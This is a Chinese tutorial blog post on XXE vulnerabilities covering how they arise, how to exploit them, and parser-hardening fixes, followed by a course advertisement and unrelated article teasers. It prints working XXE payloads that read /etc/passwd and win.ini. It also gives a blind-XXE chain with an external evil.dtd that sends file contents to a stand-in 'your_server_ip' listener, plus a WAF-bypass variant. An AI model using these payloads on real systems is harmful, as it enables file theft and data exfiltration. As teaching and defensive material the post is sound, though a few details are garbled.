深入剖析 XXE 漏洞及其修复思路

目录

深入剖析 XXE 漏洞及其修复思路

一、XXE 漏洞是什么

二、XXE 漏洞的利用

(一)有回显的 XXE 漏洞利用

(二)无回显的 XXE 漏洞利用

三、XXE 漏洞修复思路

(一)禁用外部实体

(二)严格验证输入

(三)升级解析库版本


在网络安全领域,XXE(XML External Entity Injection)漏洞一直是一个不可忽视的安全隐患。今天,我们就来深入探讨一下 XXE 漏洞是什么、如何利用它以及最重要的,怎么修复它来保障系统安全。

一、XXE 漏洞是什么

XXE 漏洞通常发生在应用程序解析 XML 输入时。当应用程序没有禁止外部实体的加载,攻击者就可以利用这一漏洞,通过构造恶意的外部实体,获取服务器中本应被保护的数据。

产生 XXE 漏洞的原因主要在于文档类型定义(DTD)部分可以引用外部 DTD 文件,而且 XML 解析器解析外部实体时支持多种协议,比如file协议可读取本地文件内容,http协议能获取外部资源等。这就为攻击者打开了方便之门,他们构造的恶意 XML 文件一旦被解析器解析,就会触发漏洞。

二、XXE 漏洞的利用

(一)有回显的 XXE 漏洞利用
  1. 本地文件读取
    • 利用file协议直接读取本地文件,例如在 XML 中定义外部实体:
<!DOCTYPE root [ <!ENTITY xxe SYSTEM "file:///etc/passwd"> ]> <root>&xxe;</root>
  • 如果是 PHP 程序,还可以使用 PHP 伪协议读取文件流,像这样:
<!DOCTYPE root [ <!ENTITY xxe SYSTEM "php://filter/read=convert.base64-encode/resource=/etc/passwd"> ]> <root>&xxe;</root>
  • 当读取的文件包含特殊符号时,就需要借助sedate(这里文档表述不太准确,推测是类似处理方式),并结合外部参数实体来处理。同时要注意,有些 XML 解析库支持列目录,攻击者可借此获取更多敏感信息。
  1. 漏洞检测与利用演示
    假设我们找到了一个接受 XML 输入的端点,比如某个登录接口。原本数据传输可能使用 JSON 格式,我们可以尝试将 HTTP 请求方法改为POST,并把Content-Type字段修改为application/xml。然后构造如下 XML 数据:
<!DOCTYPE root [ <!ENTITY test "hello"> ]> <root>&test;</root>

如果服务器能成功解析并回显hello,就说明该端点可能存在 XXE 漏洞。接着,我们可以进一步尝试利用外部实体读取文件,例如:

<!DOCTYPE root [ <!ENTITY xxe SYSTEM "file:///c:/windows/win.ini"> ]> <root>&xxe;</root>

若服务器回显了文件内容,那就证明存在 XXE 漏洞且可利用。

(二)无回显的 XXE 漏洞利用

无回显的 XXE 漏洞,又称为Blind XXE,利用起来相对复杂。因为服务器处理 XML 数据后不会回显,我们无法直接获取数据。这时,就需要借助外带数据通道来提取数据。

  1. 利用思路
    • 首先定义一个实体,使用file协议请求本地文件内容,比如:
<!ENTITY % file SYSTEM "file:///etc/passwd">
  • 再定义另外一个参数实体,将读取的文件内容作为 URL 的一部分,请求本地监听的端口。像这样:
<!ENTITY % payload "<!ENTITY send SYSTEM 'http://your_server_ip:port/?a=%file;'>">
  • 然后通过外部 DTD 方式,将内部参数实体的内容与外部 DTD 声明的实体内容拼接起来。这里要注意参数实体的嵌套和引用顺序,因为同级参数实体内容几乎不会被 XML 解析器解析。例如:
<!ENTITY % start "<!ENTITY % send SYSTEM 'http://your_server_ip:port/?a=%file;'>"> %start; %send;
  • 最后在 XML 文档中引用相关实体,启动本地监听端口(如使用python -m http.server 8998启动 HTTP 服务监听 8998 端口),若能在监听端口接收到包含文件内容的请求,就成功利用了漏洞。
  1. 绕过 WAF 的方法
    有时候直接使用常规方式会被 WAF 拦截,我们可以尝试一些绕过技巧。比如,将 DTD 直接放在DOCTYPE中,不使用ENTITY关键字,像这样:
<!DOCTYPE root [ <!ENTITY % file SYSTEM "file:///etc/passwd"> <!ENTITY % trick SYSTEM "http://your_server_ip/evil.dtd"> %trick; %send; ]> <root>&int;</root>

evil.dtd文件中定义:

<!ENTITY % payload "<!ENTITY send SYSTEM 'http://your_server_ip:port/?a=%file;'>"> %payload;

通过这种方式,有可能绕过一些 WAF 的检测。

三、XXE 漏洞修复思路

(一)禁用外部实体

在 XML 解析器中,直接禁用外部实体的加载是最直接有效的修复方法。不同的编程语言和 XML 解析库有不同的设置方式。

  1. Java
    在 Java 中使用DocumentBuilderFactory时,可以通过如下代码禁用外部实体:
DocumentBuilderFactory dbf = DocumentBuilderFactory.newInstance(); dbf.setFeature("http://apache.org/xml/features/disallow-doctype-decl", true);
  1. Python
    使用lxml库时,可以这样设置:
from lxml import etree parser = etree.XMLParser(resolve_entities=False) xml_data = '<xml>...</xml>' # 实际的XML数据 tree = etree.fromstring(xml_data, parser)
(二)严格验证输入

对所有 XML 输入进行严格的验证,确保输入内容不包含恶意的外部实体声明。可以使用 XML Schema 或 Relax NG 等技术定义 XML 的结构和约束,验证输入的 XML 是否符合规范。
例如,使用 XML Schema 定义一个简单的 XML 结构:

<xs:schema xmlns:xs="http://www.w3.org/2001/XMLSchema"> <xs:element name="root"> <xs:complexType> <xs:sequence> <xs:element name="data" type="xs:string"/> </xs:sequence> </xs:complexType> </xs:element> </xs:schema>

然后在解析 XML 时,根据这个 Schema 进行验证:

import javax.xml.XMLConstants; import javax.xml.transform.stream.StreamSource; import javax.xml.validation.Schema; import javax.xml.validation.SchemaFactory; import javax.xml.validation.Validator; import org.xml.sax.SAXException; import java.io.File; import java.io.IOException; public class XMLValidator { public static void main(String[] args) { try { SchemaFactory factory = SchemaFactory.newInstance(XMLConstants.W3C_XML_SCHEMA_NS_URI); Schema schema = factory.newSchema(new File("your_schema.xsd")); Validator validator = schema.newValidator(); validator.validate(new StreamSource(new File("your_xml.xml"))); System.out.println("XML is valid."); } catch (SAXException | IOException e) { System.out.println("XML is invalid: " + e.getMessage()); } } }
(三)升级解析库版本

及时升级 XML 解析库到最新版本,因为新版本通常会修复已知的安全漏洞,包括 XXE 漏洞相关的问题。开发人员要关注解析库的更新动态,及时进行升级。

XXE 漏洞虽然隐蔽且具有一定的危害性,但只要我们深入了解其原理,掌握正确的利用和修复方法,就能有效防范这一漏洞,保障系统的安全稳定运行。希望大家通过这篇博客,对 XXE 漏洞有更清晰的认识,并能在实际开发和安全防护工作中加以运用。

学习资源

如果你是也准备转行学习网络安全(黑客)或者正在学习,这里开源一份360智榜样学习中心独家出品《网络攻防知识库》,希望能够帮助到你

知识库由360智榜样学习中心独家打造出品,旨在帮助网络安全从业者或兴趣爱好者零基础快速入门提升实战能力,熟练掌握基础攻防到深度对抗。

1、知识库价值

深度: 本知识库超越常规工具手册,深入剖析攻击技术的底层原理与高级防御策略,并对业内挑战巨大的APT攻击链分析、隐蔽信道建立等,提供了独到的技术视角和实战验证过的对抗方案。

广度: 面向企业安全建设的核心场景(渗透测试、红蓝对抗、威胁狩猎、应急响应、安全运营),本知识库覆盖了从攻击发起、路径突破、权限维持、横向移动到防御检测、响应处置、溯源反制的全生命周期关键节点,是应对复杂攻防挑战的实用指南。

实战性: 知识库内容源于真实攻防对抗和大型演练实践,通过详尽的攻击复现案例、防御配置实例、自动化脚本代码来传递核心思路与落地方法。

2、 部分核心内容展示

360智榜样学习中心独家《网络攻防知识库》采用由浅入深、攻防结合的讲述方式,既夯实基础技能,更深入高阶对抗技术。

360智榜样学习中心独家《网络攻防知识库》采用由浅入深、攻防结合的讲述方式,既夯实基础技能,更深入高阶对抗技术。

内容组织紧密结合攻防场景,辅以大量真实环境复现案例、自动化工具脚本及配置解析。通过策略讲解、原理剖析、实战演示相结合,是你学习过程中好帮手。

1、网络安全意识

2、Linux操作系统

3、WEB架构基础与HTTP协议

4、Web渗透测试

5、渗透测试案例分享

6、渗透测试实战技巧

7、攻防对战实战

8、CTF之MISC实战讲解

3、适合学习的人群

一、基础适配人群

  1. 零基础转型者‌:适合计算机零基础但愿意系统学习的人群,资料覆盖从网络协议、操作系统到渗透测试的完整知识链‌;
  2. 开发/运维人员‌:具备编程或运维基础者可通过资料快速掌握安全防护与漏洞修复技能,实现职业方向拓展‌或者转行就业;
  3. 应届毕业生‌:计算机相关专业学生可通过资料构建完整的网络安全知识体系,缩短企业用人适应期‌;

二、能力提升适配

1、‌技术爱好者‌:适合对攻防技术有强烈兴趣,希望掌握漏洞挖掘、渗透测试等实战技能的学习者‌;

2、安全从业者‌:帮助初级安全工程师系统化提升Web安全、逆向工程等专项能力‌;

3、‌合规需求者‌:包含等保规范、安全策略制定等内容,适合需要应对合规审计的企业人员‌;

因篇幅有限,仅展示部分资料,完整版的网络安全学习资料已经上传CSDN,朋友们如果需要可以在下方CSDN官方认证二维码免费领取【保证100%免费】

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/news/1135015.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

语音合成的版权保护:Sambert-HifiGan的声纹水印技术

语音合成的版权保护&#xff1a;Sambert-HifiGan的声纹水印技术 &#x1f4cc; 引言&#xff1a;中文多情感语音合成的技术演进与版权挑战 随着深度学习在语音合成&#xff08;Text-to-Speech, TTS&#xff09;领域的持续突破&#xff0c;基于神经网络的端到端模型如 Sambert-H…

Kaggle夺冠密码:LLaMA Factory比赛专用微调模板

Kaggle夺冠密码&#xff1a;LLaMA Factory比赛专用微调模板 参加NLP竞赛时&#xff0c;你是否也经常在baseline代码调试上浪费大量时间&#xff1f;数据预处理、模型微调、评估脚本……这些重复性工作占据了参赛者一半以上的精力。今天我要分享的Kaggle夺冠密码&#xff1a;LLa…

企业级语音方案:Sambert-HifiGan集群部署实战

企业级语音方案&#xff1a;Sambert-HifiGan集群部署实战 引言&#xff1a;中文多情感语音合成的业务需求与挑战 随着智能客服、有声阅读、虚拟主播等AI应用场景的不断深化&#xff0c;高质量、富有情感表现力的中文语音合成&#xff08;TTS&#xff09; 已成为企业级语音服务…

Llama Factory极速入门:1小时掌握大模型微调核心技巧

Llama Factory极速入门&#xff1a;1小时掌握大模型微调核心技巧 作为一名IT转行AI的新手&#xff0c;面对大模型微调这个看似高深的领域&#xff0c;你是否也感到无从下手&#xff1f;本文将带你快速掌握Llama Factory的核心使用技巧&#xff0c;让你在1小时内完成从零到微调…

CRNN OCR在医疗问诊的应用:处方自动识别与提醒

CRNN OCR在医疗问诊的应用&#xff1a;处方自动识别与提醒 &#x1f4d6; 项目背景&#xff1a;OCR技术如何赋能医疗智能化 在现代医疗场景中&#xff0c;医生每天需要处理大量纸质或手写处方单&#xff0c;这些非结构化文本信息不仅录入效率低&#xff0c;还容易因字迹潦草、术…

3分钟搞定RPGVXACE RTP问题的原型工具

快速体验 打开 InsCode(快马)平台 https://www.inscode.net输入框内输入如下内容&#xff1a; 开发一个最小可行产品(MVP)工具&#xff0c;能够在3分钟内解决RPGVXACE RTP缺失问题。工具应极度简化流程&#xff1a;用户打开工具后&#xff0c;只需点击一个按钮&#xff0c;工…

一小时实战:用云端GPU快速微调你的第一个Llama 3模型

一小时实战&#xff1a;用云端GPU快速微调你的第一个Llama 3模型 大型语言模型&#xff08;LLM&#xff09;微调是让模型适应特定任务的关键技术&#xff0c;但对于编程培训班的学生来说&#xff0c;本地电脑配置不足往往成为实践障碍。本文将带你通过云端GPU环境&#xff0c;使…

AI全景之第十二章第二节:神经科学启发的新一代AI架构

12.2 神经科学启发的新一代AI架构 当前主流AI架构(如Transformer、CNN)虽在特定任务上展现出超越人类的性能,但本质上仍属于“统计拟合”范式,存在能耗过高、灾难性遗忘、动态环境适应性差等固有缺陷。与之形成鲜明对比的是,生物大脑经过亿万年进化,已形成一套高效、鲁棒…

Llama Factory安全指南:企业级模型开发最佳实践

Llama Factory安全指南&#xff1a;企业级模型开发最佳实践 在金融机构等对安全性要求极高的场景中&#xff0c;AI团队常常面临开发环境合规性挑战。Llama Factory作为企业级大模型开发框架&#xff0c;提供了一套开箱即用的安全解决方案&#xff0c;帮助团队快速构建符合严格安…

Python注释:传统手写 vs AI生成效率对比

快速体验 打开 InsCode(快马)平台 https://www.inscode.net输入框内输入如下内容&#xff1a; 创建一个Python注释效率对比工具&#xff1a;1. 准备一组未注释的示例代码 2. 分别记录手动注释和AI生成注释的时间 3. 比较两种方式的注释质量 4. 生成对比报告 5. 提供效率提升建…

电商系统GC问题实战:从OVERHEAD LIMIT到性能优化

快速体验 打开 InsCode(快马)平台 https://www.inscode.net输入框内输入如下内容&#xff1a; 开发一个电商订单处理系统的内存监控模块&#xff0c;专门针对GC OVERHEAD LIMIT场景。要求&#xff1a;1) 实时监控订单处理线程的内存使用&#xff1b;2) 在接近GC限制阈值时自动…

HW重保蓝队Top 30类高频面试题清单

HW重保蓝队Top 30类高频面试题清单 SQL 注入正向代理和反向代理的区别蚁剑 / 菜刀 / 冰蝎异同Windows 提权类型与方法Linux 提权XSSCSRF 攻击Docker 及相关应用Burp 模块OWASP TOP10数据库及类型常见的中间件漏洞IISApacheNginxTomcatWeblogic内网渗透思路正向 SHELL 和反向 S…

学霸同款2026 10款一键生成论文工具测评:毕业论文写作全攻略

学霸同款2026 10款一键生成论文工具测评&#xff1a;毕业论文写作全攻略 2026年学术写作工具测评&#xff1a;如何挑选适合你的论文助手 随着人工智能技术的不断发展&#xff0c;越来越多的学生开始依赖AI工具来辅助论文写作。然而&#xff0c;面对市场上琳琅满目的论文生成软件…

DEEPANALYZE:AI如何革新代码分析与优化

快速体验 打开 InsCode(快马)平台 https://www.inscode.net输入框内输入如下内容&#xff1a; 开发一个基于DEEPANALYZE的AI代码分析工具&#xff0c;能够自动扫描代码库&#xff0c;识别潜在的性能瓶颈、安全漏洞和代码异味。工具应支持多种编程语言&#xff08;如Python、J…

用快马平台快速验证PAGEOFFICE修复方案

快速体验 打开 InsCode(快马)平台 https://www.inscode.net输入框内输入如下内容&#xff1a; 在InsCode平台上快速开发一个PAGEOFFICE修复原型工具。要求&#xff1a;1.使用PythonPyQt基础框架 2.实现核心的注册表检测功能 3.包含最简单的修复按钮 4.输出基础日志文件 5.可在…

Excel小白必学:5分钟掌握字符串拼接基础

快速体验 打开 InsCode(快马)平台 https://www.inscode.net输入框内输入如下内容&#xff1a; 创建一个交互式Excel字符串拼接学习工具&#xff0c;包含&#xff1a;1. 基础拼接操作引导&#xff08;使用&和CONCATENATE&#xff09;&#xff1b;2. 实时练习区域带错误提示…

基于python的公共交通路线应用系统的设计与实现_7zhgc400

目录公共交通路线应用系统的设计目标关键技术实现创新性与应用价值关于博主开发技术路线相关技术介绍核心代码参考示例结论源码lw获取/同行可拿货,招校园代理 &#xff1a;文章底部获取博主联系方式&#xff01;公共交通路线应用系统的设计目标 该系统旨在通过Python技术构建一…

语音合成质量评估:Sambert-HifiGan的MOS得分分析

语音合成质量评估&#xff1a;Sambert-HifiGan的MOS得分分析 引言&#xff1a;中文多情感语音合成的技术演进与质量挑战 近年来&#xff0c;随着深度学习在语音合成&#xff08;Text-to-Speech, TTS&#xff09;领域的持续突破&#xff0c;高质量、自然流畅的语音生成已成为智能…

跨平台协作:LLaMA Factory团队微调项目管理方案

跨平台协作&#xff1a;LLaMA Factory团队微调项目管理方案 为什么需要团队协作的模型微调平台&#xff1f; 在当前的AI开发实践中&#xff0c;大模型微调已经成为许多团队的核心工作。但传统的微调方式往往面临几个痛点&#xff1a; 实验记录混乱&#xff1a;不同成员使用各自…

对比测试:传统开发vsAI辅助的RYZEN SDT编程

快速体验 打开 InsCode(快马)平台 https://www.inscode.net输入框内输入如下内容&#xff1a; 创建一个性能对比测试项目&#xff0c;要求&#xff1a;1. 包含手动编写的RYZEN SDT矩阵运算代码 2. AI生成的优化版本 3. 基准测试框架 4. 性能对比可视化 5. 详细的分析报告。请…